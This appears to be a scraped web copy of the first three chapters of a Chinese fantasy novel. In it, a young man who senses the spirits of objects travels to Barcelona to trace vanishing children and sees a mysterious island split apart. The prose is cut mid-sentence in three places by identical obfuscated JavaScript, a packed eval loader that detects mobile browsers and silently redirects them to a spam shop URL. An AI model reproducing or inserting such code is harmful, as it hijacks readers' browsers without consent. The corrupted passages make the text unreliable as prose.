《星骸岛》 1. 物灵师 「万物有灵,你自己就是罗盘。」——星罗福利院 洛祈合上笔记本,摸了摸封面上镌刻的院长赠言,把填好的入境表给了空姐。 飞机已经在下降,即将到达巴塞罗那安普拉特机场。洛祈心情算不上多好,于是闭上眼睛,又盘算了一遍落地之后该做的事。 他不是来玩儿的。 全球各地莫名其妙的儿童消失案频频发生,且线索全无,让他感到沉重。 没人知道是怎么回事。案件不断发生,可见的证据竟然一条都找不到。于是各国警方只好联合发布特级预警,建立国际援救联盟,面向社会大众征集线索。 然而收效甚微。 洛祈不是警察,只是“社会大众”的一员,但他觉得或许自己能知道些什么。 只不过他所知道的东西并不足为外人道。因为说出来也不足以取信于人。 他是一名物灵师。 虽然没有刑侦追凶的本事,但拥有触摸物件并感知物灵的特殊能力。物灵的呈现方式多种多样,有的是附着在物件上的零星残影;有些是跟原主相关的特定声音、体感、气味;偶尔还会出现某种神秘的特殊印记…… 不同的物件所能感知的信息也不同,但相同的是它们都跟洛祈有特殊感应。 于是在过去的三个月,他已经辗转多个国家,收集了不少失踪小孩最后经手的物件,试图搞清楚到底发生了什么。 可惜没有成功。因为他惊讶地发现,所有他能接触到的物件,上面的物灵都不再完整,好像都被破坏了,只剩些许片段式的残留。 难以相信这是人力所为。 好在并不是全无收获。在众多繁杂的信息碎片当中,还是让他抓到一点头绪——多段不完整的哼鸣声,在多个不同物件上出现过。 旋律不尽相同,似唱诗似童谣,那声音空灵诡谲,唯独不似人间。 尽管不确定是不是人声,但洛祈直觉发声源绝对是一个。为此,他还专门去学了各种音频及声波等原理。 随着搜集物件和接收的声段越来越多,他能感应到的信息也逐渐清晰起来。他发现这些声音纹路,其实是有方向的,不同波段的分布地域也有疏密的区别。只是需要加以判断和归类。 这想必是条重要线索。于是他日以继夜,不断“听取”并记录声音纹路,将自己当做收音机般的媒介,通过不断调频、对轨,来确定旋律的吻合状况、追踪更具体的方位。 最终,在现有物件的基础上,还真让他推导出三个相对具体的方位。 在地图上圈出三个坐标后,洛祈思来想去,还是决定亲身一探究竟。 坐标一(75°N,10°W)位于北极格陵兰岛附近的北冰洋海域。 很快被洛祈排除了。除了去极地需要全副武装,不太方便之外,危险系数也太高,不利于探索行动。 坐标二(23°26′S,115°W)则位于南太平洋海域。 同样很快被他排除。虽然地图显示那一带的群岛很多,但甚至没有一个正经机场。比起北极地区,洛祈感觉这里可能更陌生。 第三个坐标(40°N,5°E)便是位于伊比利亚半岛附近的地中海域。作为一个内陆海,交通方式更方便,也更安全。 所以他来到了这里。 ——坐落在半岛东北部、面对地中海拥有绵长海岸线的巴塞罗那。 飞机安全落定,洛祈随着人流下机,跟着指示去取行李——是一个26寸的大箱子,但他自己的东西只占三分之一。剩下的都是他好不容易才争取来的属于孩子们的遗失物件。 洛祈推着行李箱,身上只背了个双肩包,出了候机大厅。 真是一个好得过分的天气。大片阳光倾洒在他身上,洛祈眯了眯眼,舒服得暂时停住脚步。这样澄澈洗练的日光,似乎也驱散了一些他身上的阴霾。 按照中介老师发的信息,洛祈从背包里拿出一张写有地址的便利贴。转头找到【出租车候车区】标识,刚过去就有一个热情的西班牙大叔下车招呼,用简单的英语问他去哪里。 洛祈英语不错,说完后把便利贴给大叔,对方立时“OKOK”应下。装车上路。 大叔车开得很稳,不时跟副驾的一个小孩子说笑,那小孩转头很礼貌地看看洛祈。洛祈心里软了一下,对她露出个笑脸,小女孩也笑了,又转回去。 一路驱车驶进市中心。才早晨八点半,市区此时还没有多少人,显得空荡。大叔减速,给他指了前面那栋楼就是他说的地址。从外观上看,是一栋很典型的欧式公寓。洛祈连忙谢过,下车取了行李,跟二人道别。 E-L-Road-306,洛祈对了一下门牌号,没错。 他要去的Homestay(寄宿家庭)是中介公司和这边的语言学校合作安排的。 洛祈并未选择单枪匹马孤身闯荡,而是更稳妥起见,选择了当地的一家语言学校当做落脚点。在欧洲,这种语言学校几乎每个国家都有。 作为了解不同文化的媒介,语言学校通常会吸引不同国家的人,来做或短期或长期的学习。既能安排相应住宿,又能跟当地人直接交流,还能顺便学学西语,这成为洛祈的不二之选。 按下楼底的对讲机,很快,一个女人的声音出现在嘈杂的电流背景中。底噪有点大,洛祈没怎么听清对方说的话,只好自顾自介绍自己。 不过问题不大,对方常年接待语言学校的学生,自然心里有数。答应一声后,就从房内把大门给开了。 “咔哒”一声,镶着金属边框的玻璃大门弹动,洛祈拉开门,映入眼帘的是一个相当复古的电梯——曾经只在电影里见过的,连电梯门都需要自己手动开关的那种。有点新奇地上到三楼,开门的便是住家房东,一位中年西班牙妇女。 大妈亲切地给了他一个吻面礼,招呼他进屋。 洛祈边听房东介绍给他安排的房间,一边打量着屋子。屋内的电视机开着,看起来正在放新闻节目,红色字幕条从底部划过。 洛祈心下一动,用英语问对方,知不知道最近国际上有关儿童消失的新闻。 大妈闻言神色忽的变了,颇为惋惜地点头,双手合十“噢”了一声,叹道,“可怜的孩子们。” “真是太可怕了!你看……现在每天的新闻下面还有……”大妈的英语不太好,比划着,西语英语夹在一起,“那个,呃……实时滚动的消息呢!” 洛祈有些哭笑不得,但还是听懂了。这边的民众其实也不清楚发生了什么,只是不断有新闻报出来,让社会上多少有些惶恐。 在屋里转了一圈,把生活注意事项了解完之后,大妈告诉他晚上七点开饭,以及明天早晨会带他去语言学校报道,剩下的时间自由安排,有空的话也可以去巴塞有名的景点逛逛,便施施然出门去了。 洛祈打开自己房间的窗户,微风和街道声一起吹进来。他坐在床沿,往后躺下去。床铺很柔软,有很纯粹的布料味道。长途飞机带来的疲惫感被消减。 闭目休息了几分钟,他又坐起来,打开了行李箱,从夹层内翻出一沓寻人启事——这也是从各处搜集来的。大小不一,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587052|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为风吹日晒,颜色深浅也各异。 寻人启事里的小孩有大有小,有男有女,有高有矮……再看一遍,除了年纪有个大致范围,还是找不出什么共同点。 再多猜想也无济于事,洛祈把寻人启事放进背包,揣上自己的护照和换好的欧元出了门。他打开导航,按照之前查好的地址和路线,在路口搭了辆车,直奔去了大使馆。 工作日,大使馆内井然有序。听洛祈说是为儿童消失案来的,工作人员也很积极,“您先坐,护照给我先核对一下身份信息。”接着提起话筒,按下几个键,“我给ICMC那边的负责人打个电话,登记一下。” “好的。”洛祈点头。 ICMC(International Coalition for Missing Children),国际消失儿童援助联盟。就是这次儿童消失案件的专属负责组织,由各国警方联合发布信息,通力合作。 而洛祈之所以能搜集到那些孩子们的物件,都离不开各国ICMC的帮助。 因此每到一个新的国家,洛祈第一件事就是去当地的ICMC作登记,顺便了解现况。 “现在情况怎么样了?”洛祈问。 工作人员已经打完电话,此时正在录入信息,闻言一顿,无奈地摇了摇头,“不容乐观。” “虽然平台上也收到了一些民众提供的线索,但基本上都是揣测性质,只能作为参考方向,不能当做实际证据。”他抬头看了洛祈一眼,苦笑,“但那些方向也毫无规律,可以说是查无可查。” 洛祈点点头,一直如此,不意外。 “这一系列案件当中最诡异的一点就是,这么多地方出现,却没有一个监控拍到当时的状况。”护照被归还,工作人员皱起眉,满目费解,“这怎么可能呢?真有人能做到这么完美的犯罪吗?” 洛祈也想问这句话,真有人能做到这么完美的犯罪吗?只不过他的重点在于“人”之一字。这么多小孩凭空消失,这样一场跨越全球的犯罪,仅凭普通人的力量,可能吗? 还是说,他们面对的,是一个有组织有预谋的团伙犯罪?可如果是团伙的话,从概率上来说,露出蛛丝马迹的可能性会更大。然而还是什么都没有。 洛祈接过护照和一张便笺,上面写着个地址,是ICMC在巴塞的办事处,距离大使馆不远,走着就能过去。 想了想,洛祈还是出声问了句,“有关注过消失前的天气状况吗?” “天气?” 其实这话说得挺没头没尾的,也挺莫名其妙。但洛祈还是重复了一遍,“对,天气状况。” 因为这是他感应到的,只是不好明说,他在好几件物品上都发现了同样的信号,接触时有湿润的感觉——然而并不是物件本身湿,而是他的体感,有一瞬间很强烈的被水打湿的体感。与之相伴随的还有风声,和落雨拍击的声响。 并不像是轻风细雨,而是,像一场席卷一切的疾风骤雨。 “是这样……”他换了一种方式,“我实地走访了一些地区,了解到案发前几天当地都下过暴风雨。所以我在想……这是否也是一个可查的方向。” 这事儿听起来就玄了。 工作人员脸上明显犯了难,但还是点点头,记录下来,“这样啊,那我这边会内部反馈一下,看看这其中有没有什么关联。但是吧……”对方记完又轻声说,“这种非直接的规律,其实不太好贸然预警的,否则容易引起恐慌。” “嗯,理解。”洛祈笑了下,站起身道了声谢,“那我就先走了。” 2. 奇遇 洛祈今年刚满二十岁。 他是在福利院长大的。 在那之前,洛祈生活在一片几乎不受政府约束的城寨里。因为历史遗留问题,那里充斥着各式各样的边缘人群,是一个真正的“藏污纳垢”之所。 他也是其中之一。他没有家,从有记忆起就没见过父母、亲人。因此与其说“生活”,不如说是到处蹭着活。 那时他还太小,小小的城寨居民似乎也并不吝啬,周边小商小贩的店里总能给他些东西让他过活。 但人总会长大。 靠着邻里“义气”能供养多久呢? 何况他打小就是个颇会看眼色的敏感小孩儿。 记忆太遥远,已经不太清晰,但他记得城寨矗立在一条长长的跑道的尽头。于是在很普通的一天,他就沿着这条跑道往外走,一直走,后来走到了码头边。 再后来……有一个人,走过来牵起了他的手。洛祈抬头看那人,逆着光看不清脸,只能看到周身光晕,和她身上穿的白裙子。是个姐姐。 她带他上了渡轮,度过了一段不算短的水路。他们从另一个码头上岸,她又牵着他走了一段路,最后停在一个小院的大门前。 停下来的时候,洛祈还有些茫然,那个姐姐推开门,院子里有好几个小孩在玩,怯生生的。 洛祈就扒着门框偷看。 门上和墙边都嵌着标牌——「星罗福利院」,但他当时不怎么认字。 没一会儿就有一对老夫妻出来了,他们蹲下至与他平齐,问他叫什么名字。白衣姐姐站在一旁,摸了摸他的脑袋。 后来洛祈知道了,他们是福利院的两位院长。这里也成为了他日后长达十几年的避风港湾。只是,那个一面之缘的姐姐随后就走了,他再也没见过。 印象里只剩下她最后弯下腰,对他笑,嘱咐道,“以后,你要是在附近看到了跟你一样迷路的小朋友,记得要把他们带回来这里哦。” 小洛祈懵懵懂懂,但还是狠狠点了头。 现在看来,也许从那时起,使命感的种子就已经种下了。之后的许多年里,他有意识地帮过不少走失的小孩,也逐渐从附近,走向更多更远的地方。 洛祈回到住处,时间还早。他拾掇了几个物件,拿好地图和一台单反,再次出了门,打算跟着感应到的“信号”自己先试着寻找一番。 第一处信号位置并不难找,就在巴塞罗那旧城区的加泰罗尼亚广场上。 著名景点,圣家堂。 人还挺多。洛祈手里拎了个陈旧的破布娃娃,娃娃身上若有似无的哼鸣旋律在他脑子里盘旋——直到那点声音频率在附近有了重合迹象。 他买了张票,跟着游客进入内厅。 圣殿内部石柱林立,穹顶上巨大的“圣十字”明亮通透。墙壁上镶嵌着各色花窗,阳光折射进来,流光溢彩。而他穿行其中寻找声源,仿若误入光影森林的野生旅人,被光怪陆离的圣光所洗礼。 可洛祈不信神佛。 如果真的有神,他想,那就请帮帮我。 但他没能如愿,甫一进来,那疑似重合的迹象又淡了。很像没能接轨的齿轮,就那么平行着错过去了。 洛祈失笑,还是一如既往,果然没那么容易。 罢了,来都来了。他摇摇头,干脆举起相机,调好角度拍了许多照片,打算回去给福利院的孩子们看。 拍好照出来,洛祈沿着街道继续摸索。 那只破布娃娃还在手里拎着,脸上的塑胶材质老化,弹簧失灵,所以娃娃的两只眼皮各自以不同幅度耷拉着,眼睛看起来半睁半闭。 声音的重合迹象再次出现了。 源头听着很近。 穿过小半条街,洛祈几度来回,最后停在一家小教堂前。 看起来很普通,也无需买票,供人自由进出。洛祈从开了一半的大门进去。唱诗班的孩子们似乎正在收尾,神父站在祝祷台后,鼻梁上架着一副带链眼镜。 前排长椅上坐了一些人,但不多。两个并排的祈祷阁安安静静立在墙边。 声音好像就是从那里面传出来的。 这种祈祷阁在教堂中很常见,最初设立的作用,就是让神父倾听信徒烦忧、再开解告慰的——因此两个阁子间的隔板往往经由雕花镂空,便于通话。 从他走进来的一刹那,洛祈很明显地感觉到,频率对了。 仿佛进入同一个声场,音频因为重合而清晰。洛祈有些兴奋,也有点紧张,他跟着信号,缓步走向隐蔽的祈祷阁。 然而当他打开虚掩的木门,里面却空空如也。 那声音停顿片刻,而后又悄然在旁边阁子间响起。 洛祈一愣,即刻退出,又去打开旁边的木门。仍旧空空如也。 一瞬之后,声音又返回原处。 无论他打开哪一扇木门,声音好像都会从镂空的隔板钻去另一边。 “这也太奇怪了。”洛祈喃喃。 “需要帮助吗?” 身后响起一个男声。尽管低沉和缓,洛祈还是有点没防备,轻轻抽了一口气,转回头看到是神父才松了气。 神父手中握着本略旧的《圣经》,很慈祥地对他笑了下,用带着点西语腔调的英语表示如果需要告解的话,他很乐意倾听。洛祈刚准备说话,不料就在此时,一道杂音“咻”一下、急促地擦过他身侧直往门外飘去,好似活物。 洛祈猛地扭头,又转回来有些尴尬地笑了下,跟神父说“抱歉”又比划着指了下门外。神父依旧慈祥,点点头示意他来去自由。 洛祈道谢后飞速追出去,声音已经杳无迹象。 他皱起眉“啧”了一声。 跟丢了。 又跟丢了。 洛祈躬身,将两只手撑在大腿上,把气喘匀。再起身时,他感觉有点疲惫。 看看时间,已经过了晌午。线索断了一时也急不来,他环顾四周,最后进了一家正在营业的咖啡馆,准备随便吃点东西解决午饭。 店门口摆着许多桌椅,不少当地人落座其间,一杯咖啡就能坐一下午。洛祈没这么惬意,但也坐下来看着街景好好吃了顿饭。 下午的天气没上午好,天还是晴的,但云层变厚了些,风也更明显。 洛祈拿着地图,时快时慢地穿行在林荫道中。道路两旁的西班牙悬铃木随风摇曳,也吹动地图的一角。 地图是抽象的,但洛祈脑内的声音是具体的。 如果手中的地图能够连接自己的脑电波的话,他想,大概能在那些纵横交叉的网格之中,看到一些忽明忽暗的声波频率,呈点状分布着。要是再先进一点,那些波点之上还会显示多少赫兹,数值越大,光点越亮。 而他已经跟着那些较为明显的波点走了许久。途经大大小小的景点,知名的不知名的走马观花都看了个遍,却还是收获甚微,让人哭笑不得。 直到时近黄昏,洛祈才停下脚步。 “应该就是这了吧。” 洛祈对着地图和指南针坐标确认,抬首望去,那是一片长长的旧时宫廷城墙,至今完好地被存于此处,而那片城墙的最高点,是一个堡垒。 堡垒上方插着一柄石筑的十字,显得神圣无比,高不可攀。 圣十字丘陵。 这是洛祈目前察觉到的最后一个“声波光点”,也是离他最远、离海最近的地址。 周围有游客三三两两拾级而上,嬉笑着用英文或西语交谈。洛祈缀在后面,听他们说什么“最佳日落观景点”,应该是来看日落的。 他听得太认真,以至于没有发现手中破布娃娃的异样——原本耷拉着的两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587053|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只眼睛……竟缓缓地全睁开了。 这种古王国的堡垒多是为抵御作战而建,因此内部结构精巧。 石阶盘旋,刚上来时堡垒被半边岩壁罩着,还有些晦暗。然而行至边缘,没了岩壁罩顶,半腰围墙又遮不住视线后,洛祈顿觉豁然开朗。 他们站在这座城市的高点,整个巴塞尽收眼底。脚下是连成片的各色屋顶,那些“火柴盒们”乱中有序,排兵布阵般一直蔓延到海岸线。 而这里像一个瞭望塔,将海岸线那边的地中海一览无遗。 橘日西沉,整个地中海波光粼粼,被余晖映照得泛起金晕。海面微风吹拂,涟漪带着金晕来回拨弄,撩起一层一层白色的波浪,顺着海岸线蜿蜒。 洛祈一时间被这样的日暮景色所折服,竟看愣了。 海中央能看见岛屿——被落日渡了一道金边,看起来像一幅油画。海风携着来自地中海的湿意,为空气染上一层温柔,然后打着旋儿,轻轻吻在脸颊上——仿佛天然有着惑人的魔力。 如果他再警觉一些,此时就该觉察出不对了。 可惜没有。 洛祈的眼睛逐渐开始失神,他迷失在那片不断堆积且不断变化着色彩的炫丽晚霞中。变幻莫测的落霞犹如“黑洞”一般吸走他全部注意力,理智好似被抽空,根本看不见隐藏在背后的山雨欲来。 然后天黑下来仿佛是一瞬间的事。 洛祈茫然回神——才惊觉身边早已空无一人。 天怎么黑了? 游客们都走了? 刚刚发生了什么? 刚刚还温柔的海风缱绻不再,呼啸着卷起惊涛拍打海岸。远方天空闪起雷暴,骤雨将至。岛屿模糊成一幅黑色剪影,隐没在深沉的海中。 洛祈的额边沁出了汗。 不对劲,太不对劲了。看来此地不宜久留,得赶快走。 然而就在此时,他脑中突发异响,犹如所有的“声波光点”齐齐爆炸,发出尖锐的嗡鸣声。 “啊——” 超越常人承受极限的耳鸣来得猝不及防,洛祈痛苦折腰,捂住耳朵。难耐地痛叫一声,接着双膝一软,跪了下去。 暴风雨已经落下来了。 洛祈的耳鸣有增无减,他脱力地跪坐在地上,手机摔在一边。屏幕还停留在指南针APP打开的界面——但仪表盘已经彻底紊乱。 屏幕上最醒目的指针从最初的左右来回晃动、到一圈一圈飞速旋转,再后来甚至只能看到模糊的影子;而经纬度的两个数字不断变化着,停不下来。 洛祈双手捂住耳朵,手肘间还夹着那只破布娃娃,娃娃倒垂下来,被雨淋湿。两只全睁的眼睛在闪电下忽明忽暗,越发骇人。 余光瞥到,洛祈心中一紧,本能地就抬手将其丢了出去。 与此同时,仪表盘上的指针转速忽然放缓,似乎有停歇的趋势。几秒之后,竟然连同其它所有跳跃的数字一起,全部归零了! ——指针下方显示偏移角度0°,经度0°,纬度0°。 感觉到耳鸣痛感减轻,洛祈艰难起身,捡起手机拿到眼前,还以为自己看错了。可无论他怎么摇晃手机,指针和数字都纹丝不动。 退出重回主屏幕,基础功能都可以用,操作也正常,看起来并没什么变化。但右上角的信号处变成了“×”。他打开微信,顶部的醒目红字提示:没有网络。 “什么情况……”洛祈点开拨号,随机拨了个电话给好友。他来之前是办理过全球漫游的,此时却只能听到杂音。 他关机又重启,还是一样。 所有无需网络的软件看似都可正常使用;但信号全无、指南针失灵和杂乱的电话音又分明不正常——像是被什么无形屏障给阻碍了。 一切都那么匪夷所思,却好像,才刚刚开始…… 3. 诡异岛屿 雨势渐歇,厚重的积云散去,另一个奇异现象夺走了他全部的注意力。 “那是什么?”洛祈眉心蹙起,又使劲眨了眨眼,“……彩虹?” 一道极宽且夺目的不规则彩色光谱,正铺在夜幕中。 他竟然,在此时此刻,看见远方海岛上空浮现出了彩虹?照理说雨后现彩虹并不奇怪——但问题现在是大晚上啊?!基本的光折射原理他还是懂的吧…… 但要不是彩虹,那是什么? 极光? 那就更扯,南欧也能看见极光吗?天方夜谭。 今晚的遭遇一个比一个怪,洛祈顾不上深究,他赶紧拿起相机拍下这诡异的画面,打算之后再看。 然而当他拉近焦距定格画面之后,还未来得及确认——便感到自己原本就不甚稳定的心跳,猛地加快了! 因为画面当中,构图下方本该漆黑一片的岛屿,此时边缘却亮起光丛,如同跳跃的火焰。 洛祈又看了眼显示屏,随即拿下望向远方。那片亮光的面积显然已经增加了,整个岛屿好似突然通了电一般,正逐寸逐段被“点亮”。橙黄的火焰不断弥漫,最后,如同一张发光的蛛网,覆盖了整片陆地。 然后洛祈发现那似乎并不是火焰——因为“蛛网”当中间隔的区域一直都是暗着的,并没有如想象中那样被引燃。 紧接着,这一景象没持续多久,亮着的岛屿便裂开了……但又并非随意分裂,而是像有什么神秘力量,沿着蛛网亮着的光线纹路,一道一道切割开了无数组块。然后组块们四散开来。 远远的,看不太清每一块的形状。 但很显然,每一块的周围都描着闪耀的金边。 以前洛祈觉得,岛屿就是微缩的大陆。 而现在,那一座诡异孤寂的岛屿碎裂成更加微缩的陆块,每一块陆地都是一个闪烁的光点,漂浮在海平面上。 此时的海平面,仍倒映着夜幕上那道奇异光谱。可是夜空却没有星星,好像星星都在海里。 整个分离过程持续了大约三分钟,除了岛中央那座陡峰还岿然不动,其余的部分支离破碎,星星点点的光芒由远及近,逐渐向海岸漂移。 最终,光点们接二连三停驻在海岸边缘,沿着不规则的海岸线一字排开,犹如守卫的士兵。 洛祈站在堡垒上大睁双眼,手脚仿佛都僵硬了。他是正常视力,此时却觉得目之所及的一切都很荒唐。 汇聚的光点越来越多,逐渐在陆地边缘形成一道显眼的明暗交界线。明亮的光屿轮廓将陆地衬得愈发黯淡。 而那块光与暗的交界地带成了极暗之处,仿若一个终结者,终结一切光明。 因为太黑了,洛祈看的并不真切。但他已经隐隐有感觉……也许,故事不是发生在亮部,也不是发生在暗部。 而是发生在明暗相交的地方。 离得还是太远了,洛祈想凑近看看,然而才迈下石阶,就见那一片鲜明的光屿闪烁几下,又分散开来,再次以碎片的形式,前后脚自海岸线离开,返回主岛。 速度很快,洛祈慌忙拿相机和手机拍照记录。 待所有微岛屿回归完毕,破碎的拼图被一点点嵌合完整,他看见那蛛网状的“电流通路”又逐块熄灭,直到整座岛屿又恢复成一幅二维黑色剪影,融入黯淡深沉的黑夜中。 夜幕上的奇异光谱早已悄然落幕,好似闪电划过天际,带走最后一点雨意。 星月重现,树静风止。一切又重新归于寂静,不留任何痕迹。洛祈有一瞬间的恍惚,像是刚才做了一场梦,像是什么都没发生过。 而此时一阵铃声不合时宜地响起,洛祈反应了好一会儿,才发现原来是微信语音来电,屏幕上显示“院长”字样。 他接起来,熟悉的院长婆婆声音从听筒中传来,他才终于像是清醒了、落地了。 院长一如既往亲切地喊他“小祈”,问他到那边了怎么样,有没有安顿好,有什么不适应的……洛祈心里逐渐踏实,他一一作答,让院长婆婆放心。 挂断电话后,洛祈看了眼时间,刚过晚上九点。 他走到不远处的空地,试探性触碰那只不知何时已经闭上眼的破布娃娃——在发现没有什么异常后,便捡起来走下石阶,到大路上打车回了住处。 房东大妈一见到洛祈,就忙不迭问他去哪儿啦,怎么没回来吃晚饭。 他这才想起房东交代过晚7点开饭,不禁连连道歉,毕竟按他原本的计划,是能够在晚饭之前回来的。 大妈摆摆手并不介意,只是问他有没有吃饭。兴许是看他脸色不好,又问他身体状况如何,是不是不舒服啊…… 洛祈对此有些感恩,但他确实感到极度疲惫,连饿的感觉都没有了。因此也只是礼貌回复对方没事,然后简单热了杯牛奶,喝完就早早洗漱上床睡觉。 一夜无梦。 第二天一早,房东大妈如约带洛祈去语言学校报道。 一路上她把如何买票、坐哪辆公交车、到哪站下都带他过了一遍,洛祈发现并不远,去程的路线也很简单。两人到门口的时候,语言学校还没开门。洛祈不好意思让对方跟着一起等,便请她先回去。 洛祈站在语言学校的标牌下方,标牌上是西语名称「Don Quijote」,译作“堂吉诃德”——便是取自西语名作,塞万提斯所著的《堂吉诃德》。 接近九点时,门口已经三三两两站了些学生。 一位中年男士穿行渐近,步履沉稳地在大门口站定,开门。学生们一边进门,一边听见男士在大厅中用英文说道:“新同学请先跟我来,去大教室做一个语言能力测试。” 测试很简单,分两轮:卷子笔试,真人口试。得分主要用于分别初始西语等级,不同等级分不同班。洛祈获得了A2水平认可。 语言学校的学生轮换很快,流动性强,常年来来去去。因此其他流程办得也很快,学生卡、教材、课程单拿到之后,下节课就能跟着上。 下节课是在10:50,第一节课还没结束。洛祈于是缓步逛了逛学校,刚寻到第二节课的教室时,铃声响了,正好下课。 门从里面打开,他看到里面有六个学生,都是外国人,正背着包不紧不慢地走出来。等老师也离开,他坐进去,发现教室是围桌样式。 课间只有五分钟,因此人来得很快,没一会儿又陆续到了四个,也都是外国人模样。几个人貌似都不太熟,因此教室里有一种微妙的静谧感。 直到上课铃响,一位满面红光的女老师走了进来,大大“嗨”了一声,关起门,目光扫过一圈,“哦,今天都是新面孔!”她说着笑了,在白板上写下自己的名字Maria,转身盯着还空的位置,轻蹙了下眉。 “来做个自我介绍吧。”她双手一拍,“随便说,至少让我知道你们的名字。” 大家于是开始简单介绍自己是谁,来自哪儿,诸如此类。 不出所料,班上五位同学堪称五湖四海,另外两个女生来自瑞士和意大利,两个男生来自南美和葡萄牙。 洛祈介绍完自己,Maria显得很高兴,并没有着急上课,而是打开了话匣子,开始逐个问同学们来这里的目的、喜好和之后的安排——不过洛祈猜想,或许第一节课的内容就是如此。 瑞士女孩是伯尔尼人,才刚18岁,留着一头厚而细密的金棕色头发,非常漂亮。她雀跃地介绍自己正在进行高中毕业之后的gap year,她是一个人来的!巴塞罗那是她来到的第十二个新的城市。 她说话时总是伴着明媚的笑,眼里闪着新奇的光芒,看起来开朗、勇敢而富有活力。任谁都能看出,这是一个成长得很好的女孩。 来自南美的男孩则略显腼腆,但也并不扭捏,介绍自己即将在巴塞罗那大学就读,而他提前来到这里,适应一下这边的环境;另外两个则很巧都在进行短途旅行,不约而同地选择语言学校这一绝佳的驿站。 大家七嘴八舌地聊着,气氛很轻松。 直到洛祈提起自己目前正在调查全球性的儿童消失事件。 其实洛祈倒无意将氛围搞得凝重,但他确实是为此而来,而且也确实无法很轻松地说出口。好在大家都很和善,Maria更是面露悲悯神色,立刻关心起事件的进程。 但是能有什么进程呢?连他自己都一头雾水。 因此洛祈也只是无奈地摇摇头,说线索难寻,并不顺利。而后他忽然想到昨夜的暴雨和那座诡异岛屿,不由地提及了一些昨晚的遭遇(当然,他略去了一些听着就很荒唐的部分),并借此询问大家是否了解有关地中海域的情况。 然而他才刚说完,Maria立刻就小声地疑惑,“暴雨?”像是自问,而后又转向在座其他同学,“昨天晚上下雨了?” 出乎洛祈意料,所有人都摇着头茫然四顾,面面相觑地问身旁“下雨了?”继而得到对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14587054|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方否定的回答。 意大利女孩率先开口,很肯定地用英语回答,“我昨天跟朋友一直在外面,到晚上大概零点才回去,没看见下雨啊,天气一直都很晴。”而后她又问洛祈,“你确定下雨了吗?在哪里看见的?” “呃……”洛祈几乎愣住了,“圣十字丘陵……那边。” “不不,这不太可能……”Maria说,“如果你是说在巴塞之外的、西班牙的其他城市下暴雨的话,比如马德里?那或许还有点可能。但如果是在巴塞罗那城内的某个地方,不太可能。” 洛祈又试探道:“会不会是区域性暴雨呢?” “应该也……不会吧。”葡萄牙男孩耸了耸肩,然后用带口音的英语说道,“而且这里是地中海气候。地中海气候在这个季节是很少下雨的,更别说暴雨了。” 看他们说得这么笃定,恍惚间洛祈几乎要被说服了。有那么一刹那,他甚至都开始怀疑昨晚的一切荒唐遭遇……或许真是一场混乱的梦? 但他随即想起自己还拍了照片! “等等……”洛祈说着拿出手机开始翻找,此刻也顾不上那些诡异的景象了,他只有一种想要证明自己真的见到过的冲动。 然而当他打开相册,本应该出现的照片和视频竟然不翼而飞!洛祈吃惊地将手机相册翻了个遍,还是没找到任何痕迹。 “洛,你在找什么?”Maria有些担忧地看着他。 洛祈讪讪地笑了一下,后背不自觉冒出冷汗,“我拍了照片的……等下、”紧接着他又从包里翻出相机,可是打开之后,却发现更加不可思议的事—— 相机里照片倒是存在,数量也对得上,但最新的那十几张照片全都没有影像,整个画面上全都变成了黑白雪花! 也许是他的表情太过不自然,Maria很体贴地安慰,“是不是没拍上?没事的,相机有时候是会这样。” 可洛祈只觉得头晕目眩。Maria没看到相机里的情况,他也根本无从解释。 话题没能继续下去,聊天很快便转向了别处。 洛祈浑浑噩噩地上完了一整节课,满脑子都是那些雪花。他在想到底是哪里出了错,导致了这个结果。可想了半天依旧没得出任何结论。 于是他不厌其烦地在每节课的课前、或课中的间歇时间,提到自己遇见的暴雨和碎裂小岛(除了分裂过程和发光等现象),期望能收获一些新反馈。然而从早上到下午基本一无所获。直到下午最后一节课。 下午4:50开始的第四节课,是一节西语语法课。任课老师Juan,胡安,是一位光着头、留大胡子的男老师,看起来四五十岁了,但精神极好。 Juan实在是一个很特别的人。 特别的点在于,他是唯一一个不仅没有对洛祈的描述产生质疑,而且还频频点头表示很感兴趣,在认真地听完后还不断追问“然后呢”的老师。 他问得非常详细,具体到几点天气有异象、在什么地方的什么方位、先看到了什么、后发生了什么……在他的追问下,洛祈略显犹疑地透露了一些诡异细节诸如奇异光谱和岛屿分裂。作为佐证,他将相机也给Juan看了。 “我知道这听起来可能很荒谬,但……”尽管如此,洛祈还是没忘记打预防针,以免被对方当成疯子,“我确实不清楚照片为什么都变成了这样。” “不不,”Juan打断他,“虽然听起来确实不可思议,但既然你确实看到过,那么我相信那就是真的。” 他将相机还给洛祈,然后说了令洛祈印象深刻的一段话。 